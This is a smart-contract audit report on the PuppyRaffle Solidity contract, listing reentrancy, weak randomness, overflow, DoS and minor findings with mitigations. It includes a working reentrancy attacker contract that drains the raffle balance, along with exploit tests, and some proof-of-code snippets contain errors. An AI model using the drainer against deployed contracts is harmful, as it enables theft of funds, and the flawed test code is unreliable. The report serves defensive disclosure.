PuppyRaffle Audit Report

Version 1.0

Danail Vasilev

February 26, 2024

PuppyRaffle Audit Report

Danail Vasilev

February 26, 2024

Prepared by: Danail Vasilev Lead Auditors: - Danail Vasilev

Table of Contents

    * [M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potenial denial of service (DoS) attack, incrementing gas costs for future entrants
    * [M-2] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.
  - Low
    * [L-1] `PuppyRaffle.getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variables must be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached
  - Informational / non-crits
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using older version of Solidity is not recommended
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` doesn't follow CEI, which is not a best practice
    * [I-5] Use of 'magic' nubmers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
    2. // q How should I enter multiple times if address cannot be duplicated ?
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Danail Vasilev team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function doesn't follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balances.

In the `PuppyRaffle::refund` function we first make an external call to the `msg.sender` address and only after making that external call we do update the `PuppyRaffle::players` array

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
6 @>      payable(msg.sender).sendValue(entranceFee);
7 @>      players[playerIndex] = address(0);
8
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has enterred the raffle could have a `fallback/receive` function that calls

`PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract's balance is drained.

Impact: All the fees that are paid by the raffle entrants could be stollen by the malicious participant

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract's balancd.

Proof of Code

Code

Place the following into `PuppyRaffle.t.sol`

```
1       function test_reentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker contractAttacker = new ReentrancyAttacker(
              puppyRaffle);
10        address attackerUser = makeAddr("attackerUser");
11        vm.deal(attackerUser, 1 ether);
12
13        console.log("Attacker contract balance: ", address(
              contractAttacker).balance);
14        console.log("Contract balance: ", address(puppyRaffle).balance)
              ;
15
16        vm.prank(attackerUser);
17        contractAttacker.attack{value: entranceFee}();
18
19        console.log("Attacker contract balance: ", address(
              contractAttacker).balance);
20        console.log("Contract balance: ", address(puppyRaffle).balance)
              ;
21    }
```

And this contract as well:

```
1   contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
```

```
3       uint256 entranceFee;
4       uint256 attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16          puppyRaffle.refund(attackerIndex);
17      }
18
19      function _stealMoney() internal {
20          if (address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24
25      fallback() external payable {
26          _stealMoney();
27      }
28
29      receive() external payable {
30          _stealMoney();
31      }
32  }
```

Recommended Mitigation: To prevent this we should have the `PuppyRaffle::refund` function update the players array before making the external call. Additionally we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8
9           payable(msg.sender).sendValue(entranceFee);
10
11  -       players[playerIndex] = address(0);
12  -       emit RaffleRefunded(playerAddress);
```

```
13      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the rare puppy

Description: Hasing `msg.sender`, `block.timestamp` and `block.difficulty` creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users can front-run this function and call `refund` function if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selectign the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando. `block.difficulty` was recently replaced by prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as ChainLink VRF.

[H-3] Integer overflow of `PuppyRaffle:totalFees` looses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows

```
1 uint64 myVar = type(uint64).max;
2 // 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows,

the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you can use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Place this into the `PuppyRaffleTest.t.sol` file.

Proof Of Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

```

```
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

2. Use could also use a `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however, you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potenial denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through `players` array to check for dupliacates. However, the longer the `PuppyRaffle::players` is, the more check the new player will have to make. This means the gas costs for players to enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // @audit DoS Attack
2 @>      for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
```

```
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be on of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that noone else enters, guaranteeing themselves to win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6252000gas - 2nd 100 players: 18068000gas

This is more than 3x more expensive for the second 100 players:

PoC

Place the following test inside `PuppyRaffleTest.t.sol`:

```
1  function testEnterRaffleIsGasInefficient() public {
2    vm.startPrank(owner);
3    vm.txGasPrice(1);
4
5    /// First we enter 100 participants
6    uint256 firstBatch = 100;
7    address[] memory firstBatchPlayers = new address[](firstBatch);
8    for(uint256 i = 0; i < firstBatchPlayers; i++) {
9      firstBatch[i] = address(i);
10   }
11
12   uint256 gasStart = gasleft();
13   puppyRaffle.enterRaffle{value: entranceFee * firstBatch}(
         firstBatchPlayers);
14   uint256 gasEnd = gasleft();
15   uint256 gasUsedForFirstBatch = (gasStart - gasEnd) * txPrice;
16   console.log("Gas cost of the first 100 partipants is:",
         gasUsedForFirstBatch);
17
18   /// Now we enter 100 more participants
19   uint256 secondBatch = 200;
20   address[] memory secondBatchPlayers = new address[](secondBatch);
21   for(uint256 i = 100; i < secondBatchPlayers; i++) {
22     secondBatch[i] = address(i);
23   }
24
25   gasStart = gasleft();
```

```
26    puppyRaffle.enterRaffle{value: entranceFee * secondBatch}(
          secondBatchPlayers);
27    gasEnd = gasleft();
28    uint256 gasUsedForSecondBatch = (gasStart - gasEnd) * txPrice;
29    console.log("Gas cost of the next 100 participant is:",
          gasUsedForSecondBatch);
30    vm.stopPrank(owner);
31  }
```

Recommended Mitigation: There are few recommendations: 1. Consider using duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3
4      function enterRaffle(address[] memory newPlayers) public payable {
5          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
6          for (uint256 i = 0; i < newPlayers.length; i++) {
7              players.push(newPlayers[i]);
8  +           addressToRaffleId[newPlayers[i]] = raffleId;
9          }
10
11 -        // Check for duplicates
12 -        for (uint256 i = 0; i < players.length - 1; i++) {
13 -            for (uint256 j = i + 1; j < players.length; j++) {
14 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
15 -            }
16 -        }
17
18 +        // Check for duplicates only for the new players
19 +        for (uint256 i = 0; i < newPlayers.length; i++) {
20 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
21 +        }
22         emit RaffleEnter(newPlayers);
23     }
24 .
25 .
26 .
27        function selectWinner() external {
28 +        raffleId = raffleId + 1;
29         require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
30         require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery wouldn't be able to repsond.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could rever many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets without a fallback or receive function enter the lottery.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are a few options to mitigate this issue:

1. Do not allow smart contract wallets to enter (not recommended)
2. Create a mapping of addresses -> payout so winner can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle.getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is at `PuppyRaffle::players` array at index 0, this will return 0 but according to the natspec , it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
```

```
3               if (players[i] == player) {
4                   return i;
5               }
6           }
7           return 0;
8       }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas

Proof of Concept:

1. User enteres the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User think they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0 position for any competition, but a better solution might be to return `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables must be declared constant or immutable.

Reading from storage is much more expensiva than reading from a constant or immutable variable.

Instances: `PuppyRaffle::raffleDuration` should be `immutable`. `PuppyRaffle::commonImageUri` should be `constant`. `PuppyRaffle::rareImageUri` should be `constant`. `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +       uint256 playersLength = players.length;
2 +       for (uint256 i = 0; i < playerLength - 1; i++) {
3 -       for (uint256 i = 0; i < players.length - 1; i++) {
4 +           for (uint256 j = i + 1; j < playersLength; j++) {
5 -           for (uint256 j = i + 1; j < players.length; j++) {
6                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
```

```
7                 }
8             }
```

Informational / non-crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using older version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

- 0.8.18 The recommendations take into account:
- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 66

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 205

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` doesn't follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effect, Interactions)

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Use of 'magic' nubmers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

For example:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you can use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.